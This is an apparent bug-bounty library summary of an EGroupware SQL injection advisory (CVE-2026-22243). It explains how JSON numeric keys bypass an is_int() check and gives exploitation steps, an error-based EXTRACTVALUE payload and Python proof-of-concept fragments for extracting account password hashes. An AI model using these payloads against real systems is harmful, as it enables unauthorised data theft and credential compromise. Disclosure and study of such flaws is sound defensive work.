# EGroupware has SQL Injection in Nextmatch Filter Processing

Authenticated SQL injection in EGroupware Nextmatch col_filter: JSON numeric-string keys become ints, bypassing is_int() and injecting raw SQL into WHERE clauses.

- Payout: Research
- Severity: high
- Program: EGroupware
- Found by: lukasz-rybak
- Disclosed: 2026-01-28
- CVE: CVE-2026-22243
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rvxj-7f72-mhrx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-rvxj-7f72-mhrx
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:sqli

**Target:** Nextmatch widget ajax_get_rows JSON endpoint (Api\Db / Storage\Base col_filter)
**Root cause:** json_decode converts numeric string keys like "0" into native integers, so is_int($key) in column_data_implode and parse_search treats attacker-supplied array values as trusted raw SQL fragments and concatenates them into the WHERE clause.
**Steps:**
1. Authenticate to EGroupware and fetch an exec_id from `index.php?menuaction=addressbook.addressbook_ui.index` (regex `etemplate_exec_id`).
2. POST JSON to `/json.php?menuaction=EGroupware\Api\Etemplate\Widget\Nextmatch::ajax_get_rows` with body `{"request":{"parameters":[eid,{"start":0,"num_rows":1},{"col_filter":{"0":"<payload>"}}]}}`.
3. Use error-based payload `1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SUBSTRING((<sql>), <offset>, 30)), 0x7e))` and parse `XPATH syntax error: '~...~'` from the response.
4. Iterate SUBSTRING offsets to exfiltrate `SELECT @@version`, `database()`, `user()`, and `SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'`.
**How found:** Code review of the DB abstraction layer: noticed is_int() used as a trust gate for raw SQL fragments, then realized JSON request bodies let numeric string keys be coerced to ints by json_decode, defeating that check.
**Exploitation:** Any authenticated low-privileged user logs in, grabs an exec_id, and sends col_filter with numeric key "0" whose value is a raw SQL fragment; the app appends it to the WHERE clause, and error-based EXTRACTVALUE leaks DB version, name, user and password hashes chunk by chunk.
**Insight:** Whenever a framework uses is_int()/is_string() on array keys as a security boundary, test JSON bodies: json_decode silently coerces numeric-string keys to ints, flipping the branch and turning a 'trusted internal' path into attacker-controlled SQL.

## Proof of concept (copied exactly from the original report)

**JSON col_filter payload with numeric key SQL injection**

```
post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
```

**Error-based EXTRACTVALUE SQLi payload construction**

```
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
```

**Nextmatch ajax_get_rows endpoint targeted by exploit**

```
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
```

